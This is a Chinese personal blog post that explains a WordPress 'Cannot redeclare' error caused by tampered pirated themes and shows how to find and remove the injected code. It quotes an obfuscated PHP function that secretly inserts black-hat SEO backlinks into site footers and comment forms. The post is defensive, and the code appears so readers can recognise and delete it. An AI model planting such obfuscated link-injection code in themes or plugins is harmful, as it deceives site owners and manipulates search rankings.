80后向前冲

松鼠男的博客自留地

WordPress 网站出现无法定义Cannot redeclare的解决办法

今天拿出雨帆之前给我的一个说是很强大很强大的主题,准备看看。结果一激活就出现“Cannot redeclare _check_isactive_widget()”。。。我了个去。。。之前松鼠男也是有遇到过无法重定义xxx函数的问题(求Fatal error: Cannot redeclare scandir()的解决办法)。于是乎,我就用原来的方法,替换functions.php文件。替换后,ok正常了。。。可是刷新两次又出现同样的问题了。。。我就在怀疑是不是有什么恶意代码。。。万能的度娘帮帮忙啊~~

已收到第三位朋友提及网站底部出现“灵异”链接,一般表现为带链接的“Premium WordPress Themes”、“weboy”、“WordPress Themes”、“Free WordPress Themes”、“WordPress主题”、“WordPress Blog”几种形式。有一位朋友还是在我的主题上发现此问题,所以需要查清楚此事。

经过这位朋友发来的源代码已发现,是由于主题被修改过。目前仍不知道该代码是经 WordPress 插件传播,还是被第三方加上后发布,还是网站被黑造成。但是值得注意的是,请不要在非原官方的地方下载插件或者主题,以防代码已被修改过。另,请支持正版主题,被放出来的 Premium 级别的付费主题最有可能被修改代码。目前发现曾被修改的主题有 A-SuperCMS、iBlogPro 4、wpbus-D4。

解决方法:(转自 ZWWoOoOo

请从Ftp下载主题文件夹,或者整站文件,使用Notepad++、Dreamweaver等软件搜索以下代码:

function mytheme_clinkft() {
$urls = array('web'.'oy.or'.'g/','them'.'es.we'.'bo'.'y.org/','th'.'emes.we'.'bo'.'y.org/','th'.'em'.'es.w'.'eb'.'oy.org/','th'.'eme'.'s.w'.'ebo'.'y.org/','wp'.'2'.'b'.'log.com/','zh'.'ut'.'i.we'.'bo'.'y.o'.'rg/');
$urlst = array('We'.'b'.'oy' ,'Wor'.'dPr'.'ess The'.'mes' ,'Fre'.'e Wo'.'rdPr'.'ess Th'.'emes' ,'Fr'.'ee Wor'.'dPre'.'ss T'.'he'.'me' ,'Pr'.'emium Wor'.'dPre'.'ss Th'.'em'.'es' ,'Wor'.'dPre'.'ss Blo'.'g','Wo'.'rdPr'.'ess主'.'题');
srand(time());
$random = (rand()%7);
echo '< '.'a '.'cla'.'ss="cl'.'inkf'.'t" hr'.'ef="ht'.'tp'.':'.'/'.'/'.$urls[$random].'" t'.'itl'.'e="'.$urlst[$random].'">'.$urlst[$random].'< '.'/a'.'>';
}
if(!is_user_logged_in()){add_action( 'w'.'p_fo'.'ote'.'r', 'mytheme_clinkft' );add_action( 'co'.'mmen'.'t_fo'.'rm', 'mytheme_clinkft' );}

代码可能经常变化,若搜索不到,可以搜索当中的一些关键词。找到后将其删除即可。

该代码通常隐藏在模板的 function.php 文件中。该恶意代码的前后还有一些 function 是调用热门文章或者 widget,估计是为隐藏恶意代码加上去的。如:”_check_isactive_widget” “_get_allwidgetcont” “_getsprepare_widget” “__popular_posts”,可一并删除。

若你在转换主题时提示 “Fatal error: Cannot redeclare _check_isactive_widget()”、”_get_allwidgetcont” 等错误,那你的代码很有很可能已被污染。

黑链简介:

黑链是SEO黑帽手法中相当普遍的一种手段,笼统地说,它就是指一些人用非正常的手段获取的其它网站的反向链接,最常见的黑链就是通过各种网站程序漏洞获取搜索引擎权重或者PR较高的网站的Webshell,进而在被黑网站上链接自己的网站。

所以:各位朋友下载主题最好到这几个地方下载

1. WordPress 官方 http://wordpress.org/extend/themes/

2. 主题原作者网站

3. 一些大型的而且比较权威的主题网站

  1. 冷库说道:

    :grin: 刚好碰到这个情况,解决了

  2. IT路人说道:

    话说今天博客好慢

  3. 心淡若水说道:

    话说ZWW大师解决的问题还真不少 嘿嘿 很是严谨的说

    1. 松鼠男说道:

      是的啊。。。名声在外哦。呵呵

  4. 这个还是有点技术含量的啊

  5. suN说道:

    变化很大呀
    不错!

    1. 松鼠男说道:

      话说,你很久没来咯。哈哈~~忙什么呢?

  6. 冷库说道:

    你是说换模板出现那种情况是吗?

  7. 云刊说道:

    呃,好技术,看不懂了,闪

    1. 松鼠男说道:

      额,话说你居然说看不懂。。。

      1. 云刊说道:

        那,,我就再说一次,我是代码盲啊

        1. 松鼠男说道:

          真的么?没理由啊。我才是吧。不带任何谦虚的说

  8. 给我留言说道:

    网站老是动不动就出现新的状况

    1. 松鼠男说道:

      恩,的确是,尤其是当主题和插件多了的时候。。。

  9. ccaiai说道:

    沙发~技术大牛你好,技术大牛再见~

    1. 松鼠男说道:

      话说我不会技术。真不会。。一点都不带谦虚的。哈

发表评论

电子邮件地址不会被公开。 必填项已用*标注